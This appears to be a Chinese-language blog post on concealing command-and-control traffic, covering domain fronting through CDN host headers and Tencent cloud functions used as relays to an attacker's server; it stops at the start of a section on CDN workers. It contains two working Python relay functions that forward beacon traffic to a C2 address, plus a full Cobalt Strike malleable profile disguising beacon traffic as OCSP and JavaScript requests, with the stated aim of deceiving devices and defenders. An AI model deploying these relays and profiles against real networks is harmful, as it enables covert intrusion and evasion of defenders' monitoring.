本文记录一下针对域名隐藏技术的一点点尝试与总结,期间会有比较多的各种之前不知道的协议的简述,看不懂请查询一下,大概是我写的不够清楚。

目的:

域隐藏的总目的是隐藏域名达到欺骗设备并且一定程度上欺骗防守人员。

 

先说常见的域前置与云函数。

域前置:

域前置目前被各大厂商屏蔽了,过内之前看到文章说ali好像还可以用,没有试过,反正腾讯云这边是不能用了,我也没有过多进行尝试。

先说原理。

域前置的核心是CDN设备,通过CDN设备对于请求的host头的解析功能,实现只改变host头达到访问的域名产生变化的效果,从高可信度域名改为自己的域名。

基本的前置流程是:

  1. 申请域名
  2. 申请CDN服务,并且加速上一步申请的域名
  3. Curl上一步的域名,将host头改为自己的域名

访问成功就是隐藏成功了,顺便别忘了开启https服务,不加密不是好习惯。

在使用CS时,使用域前置使用默认的agent会导致崩溃(我用的测试是版本3.14),使用了

CACTUSTORCH还没有细研究,挖个大概不会填的坑。

云函数:

这个是目前还在提供服务的,以腾讯云函数为例。

原理上也是利用厂商提供的服务作为中转,将请求转发给我们自己的服务器。

申请账号,在角色管理中同意云函数的授权,即可免费开始使用。

 

创建函数,下面给两个例子,一个用了base64加密,一个没有。

例1

 



1 # -*- coding: utf8 -*-
2
3 import requests
4
5 import json
6
7 def geturl(urlstr):
8
9 jurlstr = json.dumps(urlstr)
10
11 dict_url = json.loads(jurlstr)
12
13 return dict_url['u']
14
15
16
17 def main_handler(event, context):
18
19 url = geturl(event['queryString'])
20
21 postdata = event['body']
22
23 headers=event['headers']
24
25 resp=requests.post(url,data=postdata,headers=headers,verify=False)
26
27 response={
28
29 "isBase64Encoded": False,
30
31 "statusCode": 200,
32
33 "headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},
34
35 "body": resp.text
36
37 }
38
39 return response
40
41


 

 

例2



# coding: utf8

import json,requests,base64

def main_handler(event, context):

response = {}

path = None

headers = None

try:

C2='http://'//or https

if 'path' in event.keys():

path=event['path']

if 'headers' in event.keys():

headers=event['headers']

if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :

resp=requests.get(C2+path,headers=headers,verify=False)

else:

resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)

print(resp.headers)

print(resp.content)

response={

"isBase64Encoded": True,

"statusCode": resp.status_code,

"headers": dict(resp.headers),

"body": str(base64.b64encode(resp.content))[2:-1]

}

except Exception as e:

print('error')

print(e)

finally:

return response


 

 

云函数这一步就部署好了,接下来配置云函数的触发器,API网关触发。

修改触发路径后发布即可。

在C2新增profile文件。

格式类似:



set sample_name "t";

set sleeptime "3000";

set jitter "0";

set maxdns "255";

set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";



http-get {



set uri "/api/x";



client {

header "Accept" "*/*";

metadata {

base64;

prepend "SESSIONID=";

header "Cookie";

}

}



server {

header "Content-Type" "application/ocsp-response";

header "content-transfer-encoding" "binary";

header "Server" "Nodejs";

output {

base64;

print;

}

}

}

http-stager {

set uri_x86 "/vue.min.js";

set uri_x64 "/bootstrap-2.min.js";

}

http-post {

set uri "/api/y";

client {

header "Accept" "*/*";

id {

base64;

prepend "JSESSION=";

header "Cookie";

}

output {

base64;

print;

}

}



server {

header "Content-Type" "application/ocsp-response";

header "content-transfer-encoding" "binary";

header "Connection" "keep-alive";

output {

base64;

print;

}

}


 

 

即可通信,流量出口是腾讯云。

 

再说说近期比较流行的(这里说的流行是文章,实战是否流行我就不知道了)

CDN-worker伪造